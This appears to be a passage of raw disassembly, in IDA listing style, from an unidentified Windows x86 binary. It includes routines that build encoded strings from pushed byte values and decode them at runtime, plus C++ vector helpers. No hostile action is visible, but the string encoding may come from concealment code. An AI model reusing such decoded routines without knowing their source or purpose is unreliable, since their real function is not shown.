		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+90h]
		push	13h
		push	edx
		call	sub_4019B5
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 34h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edi, [esi+0E7Fh]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 35h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1A0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		mov	byte ptr [esp+3CCh], 36h
		push	13h
		lea	eax, [esp+8Ch]
		push	eax
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 37h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+0F11h]
		mov	byte ptr [esp+388h], 38h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+84h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D0h], 39h
		call	sub_4019B5
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Ah
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+107Eh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 3Bh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	[esp+10h], edi
		push	ecx
		mov	ecx, offset byte_4D637F
		call	sub_401A5F
		lea	ecx, [esp+0B0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 3Ch
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Dh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+1234h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 3Eh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+98h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		mov	byte ptr [esp+3B4h], 3Fh
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 40h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+127Dh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 41h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+188h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+78h]
		push	13h
		push	eax
		mov	byte ptr [esp+3C4h], 42h
		call	sub_4019B5
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 43h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+11EBh]
		mov	byte ptr [esp+388h], 44h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1B8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+80h]
		push	13h
		push	edx
		mov	byte ptr [esp+3CCh], 45h
		call	sub_4019B5
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 46h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+11A2h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 47h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+68h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		mov	byte ptr [esp+3C0h], 48h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+90h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 49h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 4Ah
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 4Bh
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Ch
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+1159h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 4Dh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		mov	[esp+358h], bl
		lea	ecx, [esp+14h]
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+84h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D0h], 4Eh
		call	sub_4019B5
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Fh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+12C6h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 50h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	eax, [esp+10h]
		mov	ecx, offset byte_4D637F
		push	eax
		mov	[esp+14h], edi
		call	sub_401A5F
		push	offset byte_446F60
		push	offset word_4E6E8A
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+230h]
		call	sub_401424
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 51h
		call	sub_401424
		push	56D2h
		push	539h
		mov	byte ptr [esp+360h], 52h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		lea	ecx, [esp+230h]
		push	eax
		push	offset dword_4437F4
		push	ecx
		call	sub_40102D
		push	56D2h
		push	539h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 14h
		lea	edx, [esp+260h]
		push	eax
		push	offset dword_4437F4
		push	edx
		call	sub_40102D
		sub	esp, 0Ch
		lea	eax, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_4014C9
		lea	ecx, [esi+606h]
		push	ecx
		mov	ecx, esi
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+805h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		lea	edx, [esp+44h]
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+52Bh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+278h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+230h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1E8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2A8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		lea	edx, [esp+2C0h]
		push	edx
		call	sub_4014C9
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+290h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+128h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+158h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	offset word_4E6E8A
		call	sub_4014C9
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+170h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+140h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+188h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+248h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_4017E4
		push	eax
		push	offset byte_44741D
		mov	ecx, offset word_448D06
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_4017E4
		push	eax
		push	offset dword_4473D4
		mov	ecx, offset word_448D06
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		push	offset dword_4472B0
		mov	ecx, offset word_448D06
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_4017E4
		push	eax
		push	offset word_447342
		mov	ecx, offset word_448D06
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_4017E4
		push	eax
		push	offset byte_4472F9
		mov	ecx, offset word_448D06
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_4017E4
		push	eax
		push	offset byte_44738B
		mov	ecx, offset word_448D06
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D637F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_4017E4
		push	eax
		push	offset byte_4474AF
		mov	ecx, offset word_448D06
		call	sub_401596
		lea	ecx, [esp+248h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+370h], 53h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+8Ch], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+388h], 54h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A8h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+3A0h], 55h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0C4h], esp
		push	eax
		call	sub_401861
		mov	ecx, offset word_448C8E
		mov	byte ptr [esp+3B8h], 52h
		call	sub_40137F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 51h
		call	sub_401226
		lea	ecx, [esp+230h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		mov	byte ptr [esp+358h], 1Dh
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	byte ptr [esp+358h], 1Ch
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 1Bh
		call	sub_401226
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_401226
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+358h], 19h
		call	sub_401226
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 18h
		call	sub_401226
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 17h
		call	sub_401226
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 16h
		call	sub_401226
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+358h], 15h
		call	sub_401226
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 14h
		call	sub_401226
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 13h
		call	sub_401226
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+358h], 12h
		call	sub_401226
		lea	ecx, [esp+1D0h]
		mov	byte ptr [esp+358h], 11h
		call	sub_401226
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 10h
		call	sub_401226
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_401226
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_401226
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_401226
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_401226
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_401226
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_401226
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_401226
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_401226
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 7
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 6
		call	sub_401226
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+358h], 5
		call	sub_401226
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 4
		call	sub_401226
		lea	ecx, [esp+98h]
		mov	byte ptr [esp+358h], 3
		call	sub_401226
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+358h], 2
		call	sub_401226
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+358h], 1
		call	sub_401226
		lea	ecx, [esp+80h]
		mov	byte ptr [esp+358h], 0
		call	sub_401226
		lea	ecx, [esp+1E8h]
		mov	dword ptr [esp+358h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+350h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
; ---------------------------------------------------------------------------
		db 5C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409450	proc near		; CODE XREF: sub_40146Aj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401974
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_409468
		mov	ecx, esi
		call	sub_40190B
; ---------------------------------------------------------------------------


loc_409468:				; CODE XREF: sub_409450+Fj
		mov	ecx, esi
		call	sub_401A37
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_409450	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409490	proc near		; CODE XREF: sub_401A5Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40128A
		push	eax
		mov	ecx, esi
		call	sub_40168B
		pop	esi
		retn	4
sub_409490	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4094C0	proc near		; CODE XREF: sub_401A37j
		mov	eax, [ecx+4]
		retn
sub_4094C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4094E0	proc near		; CODE XREF: sub_40128Aj
		mov	eax, [ecx+8]
		retn
sub_4094E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409500	proc near		; CODE XREF: sub_401974j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40950A
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40950A:				; CODE XREF: sub_409500+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_409500	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409530	proc near		; CODE XREF: sub_40168Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401A37
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401B9A
		mov	ecx, edi
		call	sub_401A37
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_409530	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409580	proc near		; CODE XREF: sub_40190Bj

var_40		= byte ptr -40h
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_C		= dword	ptr -0Ch

		push	0FFFFFFFFh
		push	offset SEH_409580
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3Ch+var_39]
		lea	ecx, [esp+3Ch+var_38]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+44h+var_40]
		mov	[esp+44h+var_C], 0
		push	ecx
		lea	ecx, [esp+48h+var_30]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+48h+var_34]
		push	offset dword_43F080
		push	edx
		call	sub_436832
sub_409580	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409600	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_4096CB
		mov	ecx, esi
		call	sub_401974
		cmp	edi, eax
		jnb	short loc_409633
		mov	ecx, esi
		call	sub_401974
		mov	ebp, eax
		jmp	short loc_409635
; ---------------------------------------------------------------------------


loc_409633:				; CODE XREF: sub_409600+26j
		mov	ebp, edi


loc_409635:				; CODE XREF: sub_409600+31j
		mov	ecx, esi
		call	sub_401974
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CAD
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4016D6
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401177
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4016D6
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_401974
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4096CB:				; CODE XREF: sub_409600+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_409729
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016D6
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401F96
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409729:				; CODE XREF: sub_409600+D8j
		test	edi, edi
		jbe	short loc_409763
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016D6
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CCB
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401F96
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_409763:				; CODE XREF: sub_409600+12Bj
		pop	edi
